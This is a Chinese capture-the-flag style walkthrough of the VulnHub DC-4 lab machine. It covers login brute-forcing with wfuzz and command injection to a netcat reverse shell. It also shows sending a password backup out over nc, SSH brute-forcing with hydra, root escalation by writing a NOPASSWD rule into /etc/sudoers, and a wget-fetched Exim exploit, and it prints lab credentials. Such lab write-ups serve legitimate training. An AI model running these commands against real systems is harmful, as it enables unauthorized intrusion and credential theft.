简介
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132154598.png)
下载
- DC-4.zip (Size: 617 MB)
- Download: http://www.five86.com/downloads/DC-4.zip
- Download (Mirror): https://download.vulnhub.com/dc/DC-4.zip
- Download (Torrent): https://download.vulnhub.com/dc/DC-4.zip.torrent ( Magnet)
信息收集
主机探活
kali中使用arp-scan进行主机探活
arp-scan --interface eth0 192.168.0.0/24
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132155589.png)
经过筛选可以知道192.168.0.151是DC-4的ip
端口扫描
nmap -sC -sV -p- 192.168.0.151
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132256199.png)
发现这里只是开了22、80端口
看下80端口,是一个登陆界面
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132256465.png)
登录页面,尝试弱口令登录
这里可以用Wfuzz来进行爆破
# -c :我记得是彩色输出
# -t :设置线程数量
# -w :字典文件
# -hw : 隐藏返回word字数为17的信息,这个靶机如果凭证错误的话word是17
# -d : 请求体设置
wfuzz -c -t 20 -w /root/Desktop/fuzz/username.txt -w /root/Desktop/fuzz/password.txt --hw 17 -d "username=FUZZ&password=FUZ2Z" http://192.168.0.151/login.php
发现弱密码是可以爆破出来的
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132322577.png)
得到账号和密码
admin - happy
渗透
登陆
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132323037.png)
然后试一下
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132324994.png)
发现这类似于命令执行
burp抓包
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132325116.png)
可以发现这里直接就是传了一个ls -l
的目录查看命令,中间的空格被换成了+
那这里我们直接传一个直接反弹shell
首先kali开启监听
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132328973.png)
将数据包发送到Repeater模块,然后改成nc+-e+/bin/bash+192.168.0.129+4444
再发送
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132331705.png)
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132331407.png)
连接成功
用python转换成标准的shell
python -c "import pty;pty.spawn('/bin/bash')"
查看下passwd看看有什么用户适合提权
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132335882.png)
发现charles、jim、sam这个三个用户
去它们的home目录看下有没有什么收获
charles:
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132337188.png)
没有啥发现
jim:
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132339383.png)
backups——备份
好东西
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132340430.png)
找到一个old-passwords.txt的备份
将这些密码复制下来并对jim进行ssh爆破,因为在信息收集的阶段我们看到靶机是打开了22端口
可以用nc进行文件传输
这里可以用nc进行文件传输
# Kali
nc -nvlp 5555 > old-passwords.txt
# DC4
nc 192.168.0.129 5555 < /home/jim/backups/old-passwords.bak
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132346138.png)
然后用hydra对jim账号进行SSH爆破
hydra -l jim -P old-passwords.txt ssh://192.168.0.151
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132349862.png)
[22][ssh] host: 192.168.0.151 login: jim password: jibril04
登陆jim的ssh,查看有没有sudo权限
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132350649.png)
然后可以发现在登录SSH提示有邮件,查看下
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132353315.png)
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132353048.png)
这是一封Charles发送过来的邮件,里面是说他要放年假了,老板他把密码给jim
这下我们拿到了Charles的密码
^xHhA&hvim0y
ssh切换到Charles
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132357472.png)
查看Charles的sudo
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206132358026.png)
可以看到使用teehee提权,teehee就是tee的变体从标准输入读取并写入标准输出和文件
我们可以借助teehee直接给charles赋予完全的root权限
echo 'charles ALL=(ALL:ALL) NOPASSWD:ALL' | sudo teehee -a /etc/sudoers
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140828154.png)
然后直接用sudo登录root用户
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140830695.png)
提权成功
非预期解
之前的方法应该就是这个靶机预设的预期解
但是在查看邮件的时候还有一个非预期解
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140833062.png)
这里可以了解到Exim的版本为4.89
这个版本有一个CVE-2019-10149可以使用
searchsploit Exim
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140837624.png)
searchsploit -p linux/local/46996.sh
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140841008.png)
开启python的HTTP服务
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140840867.png)
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140844155.png)
通过wget进行exp下载,赋予执行权限并执行
![](https://cdn.jsdelivr.net/gh/Townmacro/image/img/202206140900463.png)